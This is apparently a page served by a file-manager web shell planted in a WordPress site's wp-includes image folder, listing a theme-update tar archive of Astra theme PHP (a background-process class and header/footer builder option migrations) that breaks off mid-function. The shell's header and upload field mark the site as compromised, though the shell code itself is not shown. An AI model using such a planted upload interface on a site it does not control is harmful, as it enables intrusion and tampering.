Your IP : 3.135.64.200


Current Path : /home/ephorei/www/wp-includes/images/media/q2m9hb/
Upload File :
Current File : /home/ephorei/www/wp-includes/images/media/q2m9hb/theme-update.tar

class-astra-theme-wp-background-process.php000064400000002471150061531550015014 0ustar00<?php
/**
 * Database Background Process
 *
 * @package Astra
 * @since 2.1.3
 */

if ( class_exists( 'Astra_WP_Background_Process' ) ) :

	/**
	 * Database Background Process
	 *
	 * @since 2.1.3
	 */
	class Astra_Theme_WP_Background_Process extends Astra_WP_Background_Process {

		/**
		 * Database Process
		 *
		 * @var string
		 */
		protected $action = 'astra_theme_db_migration';

		/**
		 * Task
		 *
		 * Override this method to perform any actions required on each
		 * queue item. Return the modified item for further processing
		 * in the next pass through. Or, return false to remove the
		 * item from the queue.
		 *
		 * @since 2.1.3
		 *
		 * @param object $process Queue item object.
		 * @return mixed
		 */
		protected function task( $process ) {

			do_action( 'astra_batch_process_task_' . $process, $process );

			if ( function_exists( $process ) ) {
				call_user_func( $process );
			}

			if ( 'update_db_version' === $process ) {
				Astra_Theme_Background_Updater::update_db_version();
			}

			return false;
		}

		/**
		 * Complete
		 *
		 * Override if applicable, but ensure that the below actions are
		 * performed, or, call parent::complete().
		 *
		 * @since 2.1.3
		 */
		protected function complete() {
			do_action( 'astra_database_migration_complete' );
			parent::complete();
		}

	}

endif;
astra-builder-migration-updater.php000064400000303056150061531550013454 0ustar00<?php
/**
 * Astra builder migration updates
 *
 * Functions for updating data while old-new builder migration.
 *
 * @package Astra
 * @version 3.8.3
 */

defined( 'ABSPATH' ) || exit;

/**
 * Header Footer builder - Migration of options.
 *
 * @since 3.0.0
 *
 * @return void
 */
function astra_header_builder_migration() {

	/**
	 * All theme options.
	 */
	$theme_options = get_option( 'astra-settings', array() );

	// WordPress sidebar_widgets option.
	$widget_options = get_option( 'sidebars_widgets', array() );

	$used_elements = array();

	$options = array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_primary_header_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_below_header_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_above_header_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_footer_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_footer_widgets_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_primary_menu_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$options = astra_sticky_header_builder_migration( $options['theme_options'], $options['used_elements'], $options['widget_options'] );
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$theme_options = $options['theme_options'];
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	$widget_options = $options['widget_options'];
	/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

	$theme_options['v3-option-migration'] = true;

	update_option( 'astra-settings', $theme_options );
	update_option( 'sidebars_widgets', $widget_options );
}

/**
 * Header Footer builder - Migration of Primary Header.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_primary_header_builder_migration( $theme_options, $used_elements, $widget_options ) {

	/**
	 * Primary Header.
	 */

	// Header : Primary Header - Layout.
	$primary_header_layout = ( isset( $theme_options['header-layouts'] ) ) ? $theme_options['header-layouts'] : '';

	// Header : Primary Header - Last Menu Item.
	$last_menu_item                = ( isset( $theme_options['header-main-rt-section'] ) ) ? $theme_options['header-main-rt-section'] : '';
	$last_menu_item_mobile_flag    = ( isset( $theme_options['hide-custom-menu-mobile'] ) ) ? $theme_options['hide-custom-menu-mobile'] : '';
	$last_menu_item_mobile_outside = ( isset( $theme_options['header-display-outside-menu'] ) ) ? $theme_options['header-display-outside-menu'] : '';
	$new_menu_item                 = '';

	$theme_options['mobile-header-type'] = 'dropdown';

	if ( isset( $theme_options['mobile-menu-style'] ) ) {
		switch ( $theme_options['mobile-menu-style'] ) {
			case 'flyout':
				$theme_options['mobile-header-type'] = 'off-canvas';
				if ( isset( $theme_options['flyout-mobile-menu-alignment'] ) ) {
					$theme_options['off-canvas-slide'] = $theme_options['flyout-mobile-menu-alignment'];
				}
				break;
			case 'fullscreen':
				$theme_options['mobile-header-type'] = 'full-width';
				break;

			case 'default':
			default:
				$theme_options['mobile-header-type'] = 'dropdown';
				break;
		}
	}

	switch ( $last_menu_item ) {
		case 'search':
			$new_menu_item = 'search';
			if ( isset( $theme_options['header-main-rt-section-search-box-type'] ) ) {
				$theme_options['header-search-box-type'] = $theme_options['header-main-rt-section-search-box-type'];
			}
			break;

		case 'button':
			$new_menu_item = 'button-1';
			if ( isset( $theme_options['header-main-rt-section-button-text'] ) ) {
				$theme_options['header-button1-text'] = $theme_options['header-main-rt-section-button-text'];
			}
			if ( isset( $theme_options['header-main-rt-section-button-link-option'] ) ) {
				$theme_options['header-button1-link-option'] = $theme_options['header-main-rt-section-button-link-option'];
			}
			if ( isset( $theme_options['header-main-rt-section-button-text-color'] ) ) {
				$theme_options['header-button1-text-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-text-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-back-color'] ) ) {
				$theme_options['header-button1-back-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-back-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-text-h-color'] ) ) {
				$theme_options['header-button1-text-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-text-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-back-h-color'] ) ) {
				$theme_options['header-button1-back-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-back-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-border-size'] ) ) {
				$theme_options['header-button1-border-size'] = $theme_options['header-main-rt-section-button-border-size'];
			}
			if ( isset( $theme_options['header-main-rt-section-button-border-color'] ) ) {
				$theme_options['header-button1-border-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-border-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-border-h-color'] ) ) {
				$theme_options['header-button1-border-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-section-button-border-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['header-main-rt-section-button-border-radius'] ) ) {
				$theme_options['header-button1-border-radius'] = $theme_options['header-main-rt-section-button-border-radius'];
			}
			if ( isset( $theme_options['primary-header-button-font-family'] ) ) {
				$theme_options['header-button1-font-family'] = $theme_options['primary-header-button-font-family'];
			}
			if ( isset( $theme_options['primary-header-button-font-size'] ) ) {
				$theme_options['header-button1-font-size'] = $theme_options['primary-header-button-font-size'];
			}
			if ( isset( $theme_options['primary-header-button-font-weight'] ) ) {
				$theme_options['header-button1-font-weight'] = $theme_options['primary-header-button-font-weight'];
			}
			if ( isset( $theme_options['primary-header-button-text-transform'] ) ) {
				$theme_options['header-button1-text-transform'] = $theme_options['primary-header-button-text-transform'];
			}
			if ( isset( $theme_options['primary-header-button-line-height'] ) ) {
				$theme_options['header-button1-line-height'] = $theme_options['primary-header-button-line-height'];
			}
			if ( isset( $theme_options['primary-header-button-letter-spacing'] ) ) {
				$theme_options['header-button1-letter-spacing'] = $theme_options['primary-header-button-letter-spacing'];
			}
			if ( isset( $theme_options['header-main-rt-section-button-padding'] ) ) {
				$theme_options['section-hb-button-1-padding'] = $theme_options['header-main-rt-section-button-padding'];
			}
			// Sticky Header Button options.

			// Text Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-text-color'] ) ) {

				$theme_options['sticky-header-button1-text-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-text-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// BG Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-back-color'] ) ) {
				$theme_options['sticky-header-button1-back-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-back-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// Text Hover Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-text-h-color'] ) ) {
				$theme_options['sticky-header-button1-text-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-text-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// BG Hover Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-back-h-color'] ) ) {
				$theme_options['sticky-header-button1-back-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-back-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// Border Width.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-border-size'] ) ) {
				$theme_options['sticky-header-button1-border-size'] = $theme_options['header-main-rt-sticky-section-button-border-size'];
			}
			// Border Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-border-color'] ) ) {
				$theme_options['sticky-header-button1-border-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-border-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// Border Hover Color.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-border-h-color'] ) ) {
				$theme_options['sticky-header-button1-border-h-color'] = array(
					'desktop' => $theme_options['header-main-rt-sticky-section-button-border-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			// Border Radius.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-border-radius'] ) ) {
				$theme_options['sticky-header-button1-border-radius'] = $theme_options['header-main-rt-sticky-section-button-border-radius'];
			}
			// Padding.
			if ( isset( $theme_options['header-main-rt-sticky-section-button-padding'] ) ) {
				$theme_options['sticky-header-button1-padding'] = $theme_options['header-main-rt-sticky-section-button-padding'];
			}

			break;

		case 'text-html':
			$new_menu_item = 'html-1';
			if ( isset( $theme_options['header-main-rt-section-html'] ) ) {
				$theme_options['header-html-1'] = $theme_options['header-main-rt-section-html'];
			}
			break;

		case 'widget':
			$new_menu_item = 'widget-1';
			if ( isset( $widget_options['header-widget'] ) ) {
				$widget_options['header-widget-1'] = $widget_options['header-widget'];
			}
			break;

		case 'woocommerce':
			$new_menu_item = 'woo-cart';
			if ( ! empty( $theme_options['woo-header-cart-icon-color'] ) ) {
				$theme_options['header-woo-cart-icon-color'] = $theme_options['woo-header-cart-icon-color'];
			}
			break;

		case 'edd':
			$new_menu_item = 'edd-cart';
			break;
	}

	$used_elements[] = $new_menu_item;

	$new_menu_item_mobile = ( ! $last_menu_item_mobile_flag ) ? $new_menu_item : '';

	$new_menu_item_mobile_outside = '';
	if ( ! $last_menu_item_mobile_flag && $last_menu_item_mobile_outside ) {
		$new_menu_item_mobile_outside = $new_menu_item;
		$new_menu_item_mobile         = '';
	}

	$theme_options['header-desktop-items']['above'] = array(
		'above_left'         => array(),
		'above_left_center'  => array(),
		'above_center'       => array(),
		'above_right_center' => array(),
		'above_right'        => array(),
	);
	$theme_options['header-mobile-items']['above']  = array(
		'above_left'   => array(),
		'above_center' => array(),
		'above_right'  => array(),
	);


	$theme_options['header-desktop-items']['below'] = array(
		'below_left'         => array(),
		'below_left_center'  => array(),
		'below_center'       => array(),
		'below_right_center' => array(),
		'below_right'        => array(),
	);

	$theme_options['header-mobile-items']['below'] = array(
		'below_left'   => array(),
		'below_center' => array(),
		'below_right'  => array(),
	);

	/**
	 * Assign the new locations.
	 */
	switch ( $primary_header_layout ) {
		case 'header-main-layout-1':
			$theme_options['header-desktop-items']['primary'] = array(
				'primary_left'         => array( 'logo' ),
				'primary_left_center'  => array(),
				'primary_center'       => array(),
				'primary_right_center' => array(),
				'primary_right'        => ( '' !== $new_menu_item ) ? array( 'menu-1', $new_menu_item ) : array( 'menu-1' ),
			);
			break;

		case 'header-main-layout-2':
			$theme_options['header-desktop-items']['primary'] = array(
				'primary_left'         => array(),
				'primary_left_center'  => array(),
				'primary_center'       => array( 'logo' ),
				'primary_right_center' => array(),
				'primary_right'        => array(),
			);
			$theme_options['header-desktop-items']['below']   = array(
				'below_left'         => array(),
				'below_left_center'  => array(),
				'below_center'       => ( '' !== $new_menu_item ) ? array( 'menu-1', $new_menu_item ) : array( 'menu-1' ),
				'below_right_center' => array(),
				'below_right'        => array(),
			);
			break;

		case 'header-main-layout-3':
			$theme_options['header-desktop-items']['primary'] = array(
				'primary_left'         => ( '' !== $new_menu_item ) ? array( 'menu-1', $new_menu_item ) : array( 'menu-1' ),
				'primary_left_center'  => array(),
				'primary_center'       => array(),
				'primary_right_center' => array(),
				'primary_right'        => array( 'logo' ),
			);
			break;

		default:
			$theme_options['header-desktop-items']['primary'] = array(
				'primary_left'         => array( 'logo' ),
				'primary_left_center'  => array(),
				'primary_center'       => array(),
				'primary_right_center' => array(),
				'primary_right'        => array( 'menu-1' ),
			);
	}

	// Header : Primary Header - Mobile Layout.
	$mobile_layout = astra_get_option( 'header-main-menu-align' );

	if ( 'stack' === $mobile_layout ) {
		$theme_options['header-mobile-items']['popup'] = array( 'popup_content' => ( '' !== $new_menu_item_mobile && '' !== $new_menu_item_mobile_outside ) ? array( 'menu-1', $new_menu_item_mobile ) : array( 'menu-1' ) );

		$theme_options['header-mobile-items']['primary'] = array(
			'primary_left'   => array(),
			'primary_center' => array( 'logo' ),
			'primary_right'  => array(),
		);

		$theme_options['header-mobile-items']['below'] = array(
			'below_left'   => array(),
			'below_center' => ( '' !== $new_menu_item_mobile_outside ) ? array( $new_menu_item_mobile_outside, 'mobile-trigger' ) : array( 'mobile-trigger' ),
			'below_right'  => array(),
		);
	} else {

		$theme_options['header-mobile-items']['popup'] = array( 'popup_content' => ( '' !== $new_menu_item_mobile ) ? array( 'menu-1', $new_menu_item_mobile ) : array( 'menu-1' ) );

		if ( 'header-main-layout-3' === $primary_header_layout ) {
			$theme_options['header-mobile-items']['primary'] = array(
				'primary_left'   => ( '' !== $new_menu_item_mobile_outside ) ? array( $new_menu_item_mobile_outside, 'mobile-trigger' ) : array( 'mobile-trigger' ),
				'primary_center' => array(),
				'primary_right'  => array( 'logo' ),
			);
		} else {
			$theme_options['header-mobile-items']['primary'] = array(
				'primary_left'   => array( 'logo' ),
				'primary_center' => array(),
				'primary_right'  => ( '' !== $new_menu_item_mobile_outside ) ? array( $new_menu_item_mobile_outside, 'mobile-trigger' ) : array( 'mobile-trigger' ),
			);
		}
	}

	// Header - Primary Header - Content Width.
	if ( isset( $theme_options['header-main-layout-width'] ) ) {
		$theme_options['hb-header-main-layout-width'] = $theme_options['header-main-layout-width'];
	}

	// Header - Primary Header - Border Bottom.
	if ( isset( $theme_options['header-main-sep'] ) ) {
		$theme_options['hb-header-main-sep'] = $theme_options['header-main-sep'];
	}

	if ( isset( $theme_options['header-main-sep-color'] ) ) {
		$theme_options['hb-header-main-sep-color'] = $theme_options['header-main-sep-color'];
	}

	if ( isset( $theme_options['header-bg-obj-responsive'] ) ) {
		$theme_options['hb-header-bg-obj-responsive'] = $theme_options['header-bg-obj-responsive'];
	}

	if ( isset( $theme_options['header-spacing'] ) ) {
		$theme_options['section-primary-header-builder-padding'] = $theme_options['header-spacing'];
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Below Header.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_below_header_builder_migration( $theme_options, $used_elements, $widget_options ) {
	/**
	 * Below Header
	 */

	$below_header_layout      = ( isset( $theme_options['below-header-layout'] ) ) ? $theme_options['below-header-layout'] : '';
	$below_header_on_mobile   = ( isset( $theme_options['below-header-on-mobile'] ) ) ? $theme_options['below-header-on-mobile'] : '';
	$below_header_merge_menu  = ( isset( $theme_options['below-header-merge-menu'] ) ) ? $theme_options['below-header-merge-menu'] : '';
	$below_header_swap_mobile = ( isset( $theme_options['below-header-swap-mobile'] ) ) ? $theme_options['below-header-swap-mobile'] : '';

	if ( isset( $theme_options['below-header-height'] ) ) {
		$theme_options['hbb-header-height'] = array(
			'desktop' => $theme_options['below-header-height'],
			'tablet'  => '',
			'mobile'  => '',
		);
	}

	if ( isset( $theme_options['below-header-divider'] ) ) {
		$theme_options['hbb-header-separator'] = $theme_options['below-header-divider'];
	}
	if ( isset( $theme_options['below-header-divider-color'] ) ) {
		$theme_options['hbb-header-bottom-border-color'] = $theme_options['below-header-divider-color'];
	}
	if ( isset( $theme_options['below-header-bg-obj-responsive'] ) ) {
		$theme_options['hbb-header-bg-obj-responsive'] = $theme_options['below-header-bg-obj-responsive'];
	}
	if ( isset( $theme_options['below-header-spacing'] ) ) {
		$theme_options['section-below-header-builder-padding'] = $theme_options['below-header-spacing'];
	}
	// Below Header Section 1.
	$below_header_section_1          = ( isset( $theme_options['below-header-section-1'] ) ) ? $theme_options['below-header-section-1'] : '';
	$new_below_header_section_1_item = '';
	switch ( $below_header_section_1 ) {
		case 'menu':
			$new_below_header_section_1_item = 'menu-2';
			break;

		case 'search':
			if ( ! in_array( 'search', $used_elements ) ) {
				$new_below_header_section_1_item = 'search';
				if ( isset( $theme_options['below-header-section-1-search-box-type'] ) ) {
					$theme_options['header-search-box-type'] = $theme_options['below-header-section-1-search-box-type'];
				}
			}
			break;

		case 'text-html':
			if ( ! in_array( 'html-2', $used_elements ) ) {
				$new_below_header_section_1_item = 'html-2';
				if ( isset( $theme_options['below-header-section-1-html'] ) ) {
					$theme_options['header-html-2'] = $theme_options['below-header-section-1-html'];
				}
			}

			break;

		case 'widget':
			if ( ! in_array( 'widget-2', $used_elements ) ) {
				$new_below_header_section_1_item = 'widget-2';
				if ( isset( $widget_options['below-header-widget-1'] ) ) {
					$widget_options['header-widget-2'] = $widget_options['below-header-widget-1'];
				}
			}
			break;

		case 'woocommerce':
			if ( ! in_array( 'woo-cart', $used_elements ) ) {
				$new_below_header_section_1_item = 'woo-cart';
			}
			break;

		case 'edd':
			if ( ! in_array( 'edd-cart', $used_elements ) ) {
				$new_below_header_section_1_item = 'edd-cart';
			}
			break;
	}

	// Below Header Section 2.
	$below_header_section_2          = ( isset( $theme_options['below-header-section-2'] ) ) ? $theme_options['below-header-section-2'] : '';
	$new_below_header_section_2_item = '';
	switch ( $below_header_section_2 ) {
		case 'menu':
			$new_below_header_section_2_item = 'menu-2';
			break;

		case 'search':
			if ( ! in_array( 'search', $used_elements ) ) {
				$new_below_header_section_2_item = 'search';
				if ( isset( $theme_options['below-header-section-2-search-box-type'] ) ) {
					$theme_options['header-search-box-type'] = $theme_options['below-header-section-2-search-box-type'];
				}
			}
			break;

		case 'text-html':
			if ( ! in_array( 'html-2', $used_elements ) ) {
				$new_below_header_section_2_item = 'html-2';
				if ( isset( $theme_options['below-header-section-2-html'] ) ) {
					$theme_options['header-html-2'] = $theme_options['below-header-section-2-html'];
				}
			}
			break;

		case 'widget':
			if ( ! in_array( 'widget-2', $used_elements ) ) {
				$new_below_header_section_2_item = 'widget-2';
				if ( isset( $widget_options['below-header-widget-2'] ) ) {
					$widget_options['header-widget-2'] = $widget_options['below-header-widget-2'];
				}
			}
			break;

		case 'woocommerce':
			if ( ! in_array( 'woo-cart', $used_elements ) ) {
				$new_below_header_section_2_item = 'woo-cart';
			}
			break;

		case 'edd':
			if ( ! in_array( 'edd-cart', $used_elements ) ) {
				$new_below_header_section_2_item = 'edd-cart';
			}
			break;
	}

	if ( 'menu' === $below_header_section_1 || 'menu' === $below_header_section_2 ) {
		$theme_options['header-menu2-menu-stack-on-mobile'] = false;
		/**
		 * Menu - 2
		 */
		if ( isset( $theme_options['below-header-submenu-container-animation'] ) ) {
			$theme_options['header-menu2-submenu-container-animation'] = $theme_options['below-header-submenu-container-animation'];
		}
		if ( isset( $theme_options['below-header-submenu-border'] ) ) {
			$theme_options['header-menu2-submenu-border'] = $theme_options['below-header-submenu-border'];
		}
		if ( isset( $theme_options['below-header-submenu-b-color'] ) ) {
			$theme_options['header-menu2-submenu-b-color'] = $theme_options['below-header-submenu-b-color'];
		}
		if ( isset( $theme_options['below-header-submenu-item-border'] ) ) {
			$theme_options['header-menu2-submenu-item-border'] = $theme_options['below-header-submenu-item-border'];
		}
		if ( isset( $theme_options['below-header-submenu-item-b-color'] ) ) {
			$theme_options['header-menu2-submenu-item-b-color'] = $theme_options['below-header-submenu-item-b-color'];
		}

		if ( isset( $theme_options['below-header-menu-text-color-responsive'] ) ) {
			$theme_options['header-menu2-color-responsive'] = $theme_options['below-header-menu-text-color-responsive'];
		}
		if ( isset( $theme_options['below-header-menu-bg-obj-responsive'] ) ) {
			$theme_options['header-menu2-bg-obj-responsive'] = $theme_options['below-header-menu-bg-obj-responsive'];
		}

		if ( isset( $theme_options['below-header-menu-text-hover-color-responsive'] ) ) {
			$theme_options['header-menu2-h-color-responsive'] = $theme_options['below-header-menu-text-hover-color-responsive'];
		}
		if ( isset( $theme_options['below-header-menu-bg-hover-color-responsive'] ) ) {
			$theme_options['header-menu2-h-bg-color-responsive'] = $theme_options['below-header-menu-bg-hover-color-responsive'];
		}

		if ( isset( $theme_options['below-header-current-menu-text-color-responsive'] ) ) {
			$theme_options['header-menu2-a-color-responsive'] = $theme_options['below-header-current-menu-text-color-responsive'];
		}
		if ( isset( $theme_options['below-header-current-menu-bg-color-responsive'] ) ) {
			$theme_options['header-menu2-a-bg-color-responsive'] = $theme_options['below-header-current-menu-bg-color-responsive'];
		}

		if ( isset( $theme_options['below-header-font-size'] ) ) {
			$theme_options['header-menu2-font-size'] = $theme_options['below-header-font-size'];
		}
		if ( isset( $theme_options['below-header-font-weight'] ) ) {
			$theme_options['header-menu2-font-weight'] = $theme_options['below-header-font-weight'];
		}
		if ( isset( $theme_options['below-header-line-height'] ) ) {
			$theme_options['header-menu2-line-height'] = $theme_options['below-header-line-height'];
		}
		if ( isset( $theme_options['below-header-font-family'] ) ) {
			$theme_options['header-menu2-font-family'] = $theme_options['below-header-font-family'];
		}
		if ( isset( $theme_options['below-header-text-transform'] ) ) {
			$theme_options['header-menu2-text-transform'] = $theme_options['below-header-text-transform'];
		}

		if ( isset( $theme_options['below-header-menu-spacing'] ) ) {
			$theme_options['header-menu2-menu-spacing'] = $theme_options['below-header-menu-spacing'];
		}

		// Menu 2 - Submenu.
		if ( isset( $theme_options['below-header-submenu-text-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-color-responsive'] = $theme_options['below-header-submenu-text-color-responsive'];
		}
		if ( isset( $theme_options['below-header-submenu-bg-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-bg-color-responsive'] = $theme_options['below-header-submenu-bg-color-responsive'];
		}

		if ( isset( $theme_options['below-header-submenu-hover-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-h-color-responsive'] = $theme_options['below-header-submenu-hover-color-responsive'];
		}
		if ( isset( $theme_options['below-header-submenu-bg-hover-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-h-bg-color-responsive'] = $theme_options['below-header-submenu-bg-hover-color-responsive'];
		}

		if ( isset( $theme_options['below-header-submenu-active-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-a-color-responsive'] = $theme_options['below-header-submenu-active-color-responsive'];
		}
		if ( isset( $theme_options['below-header-submenu-active-bg-color-responsive'] ) ) {
			$theme_options['header-menu2-submenu-a-bg-color-responsive'] = $theme_options['below-header-submenu-active-bg-color-responsive'];
		}

		if ( isset( $theme_options['font-size-below-header-dropdown-menu'] ) ) {
			$theme_options['header-font-size-menu2-sub-menu'] = $theme_options['font-size-below-header-dropdown-menu'];
		}
		if ( isset( $theme_options['font-weight-below-header-dropdown-menu'] ) ) {
			$theme_options['header-font-weight-menu2-sub-menu'] = $theme_options['font-weight-below-header-dropdown-menu'];
		}
		if ( isset( $theme_options['line-height-below-header-dropdown-menu'] ) ) {
			$theme_options['header-line-height-menu2-sub-menu'] = $theme_options['line-height-below-header-dropdown-menu'];
		}
		if ( isset( $theme_options['font-family-below-header-dropdown-menu'] ) ) {
			$theme_options['header-font-family-menu2-sub-menu'] = $theme_options['font-family-below-header-dropdown-menu'];
		}
		if ( isset( $theme_options['text-transform-below-header-dropdown-menu'] ) ) {
			$theme_options['header-text-transform-menu2-sub-menu'] = $theme_options['text-transform-below-header-dropdown-menu'];
		}

		if ( isset( $theme_options['below-header-submenu-spacing'] ) ) {
			$theme_options['header-menu2-submenu-spacing'] = $theme_options['below-header-submenu-spacing'];
		}
	}

	if ( 'search' === $below_header_section_1 || 'search' === $below_header_section_2 ) {
		if ( isset( $theme_options['below-header-text-color-responsive'] ) ) {
			$theme_options['header-search-icon-color'] = $theme_options['below-header-text-color-responsive'];
		}
	}

	if ( 'text-html' === $below_header_section_1 || 'text-html' === $below_header_section_2 ) {
		if ( isset( $theme_options['below-header-text-color-responsive'] ) ) {
			$theme_options['header-html-2color'] = $theme_options['below-header-text-color-responsive'];
		}
		if ( isset( $theme_options['below-header-link-color-responsive'] ) ) {
			$theme_options['header-html-2link-color'] = $theme_options['below-header-link-color-responsive'];
		}
		if ( isset( $theme_options['below-header-link-hover-color-responsive'] ) ) {
			$theme_options['header-html-2link-h-color'] = $theme_options['below-header-link-hover-color-responsive'];
		}
		if ( isset( $theme_options['font-size-below-header-content'] ) ) {
			$theme_options['font-size-section-hb-html-2'] = $theme_options['font-size-below-header-content'];
		}
		if ( isset( $theme_options['font-weight-below-header-content'] ) ) {
			$theme_options['font-weight-section-hb-html-2'] = $theme_options['font-weight-below-header-content'];
		}
		if ( isset( $theme_options['line-height-below-header-content'] ) ) {
			$theme_options['line-height-section-hb-html-2'] = $theme_options['line-height-below-header-content'];
		}
		if ( isset( $theme_options['font-family-below-header-content'] ) ) {
			$theme_options['font-family-section-hb-html-2'] = $theme_options['font-family-below-header-content'];
		}
		if ( isset( $theme_options['text-transform-below-header-content'] ) ) {
			$theme_options['text-transform-section-hb-html-2'] = $theme_options['text-transform-below-header-content'];
		}
	}

	if ( 'widget' === $below_header_section_1 || 'widget' === $below_header_section_2 ) {
		if ( isset( $theme_options['below-header-text-color-responsive'] ) ) {
			$theme_options['header-widget-2-color']       = $theme_options['below-header-text-color-responsive'];
			$theme_options['header-widget-2-title-color'] = $theme_options['below-header-text-color-responsive'];
		}
		if ( isset( $theme_options['below-header-link-color-responsive'] ) ) {
			$theme_options['header-widget-2-link-color'] = $theme_options['below-header-link-color-responsive'];
		}
		if ( isset( $theme_options['below-header-link-hover-color-responsive'] ) ) {
			$theme_options['header-widget-2-link-h-color'] = $theme_options['below-header-link-hover-color-responsive'];
		}
		if ( isset( $theme_options['font-size-below-header-content'] ) ) {
			$theme_options['header-widget-2-content-font-size'] = $theme_options['font-size-below-header-content'];
		}
		if ( isset( $theme_options['font-weight-below-header-content'] ) ) {
			$theme_options['header-widget-2-content-font-weight'] = $theme_options['font-weight-below-header-content'];
		}
		if ( isset( $theme_options['line-height-below-header-content'] ) ) {
			$theme_options['header-widget-2-content-line-height'] = $theme_options['line-height-below-header-content'];
		}
		if ( isset( $theme_options['font-family-below-header-content'] ) ) {
			$theme_options['header-widget-2-content-font-family'] = $theme_options['font-family-below-header-content'];
		}
		if ( isset( $theme_options['text-transform-below-header-content'] ) ) {
			$theme_options['header-widget-2-content-text-transform'] = $theme_options['text-transform-below-header-content'];
		}
	}

	switch ( $below_header_layout ) {

		case 'below-header-layout-1':
			$theme_options['header-desktop-items']['below'] = array(
				'below_left'         => ( '' !== $new_below_header_section_1_item ) ? array( $new_below_header_section_1_item ) : array(),
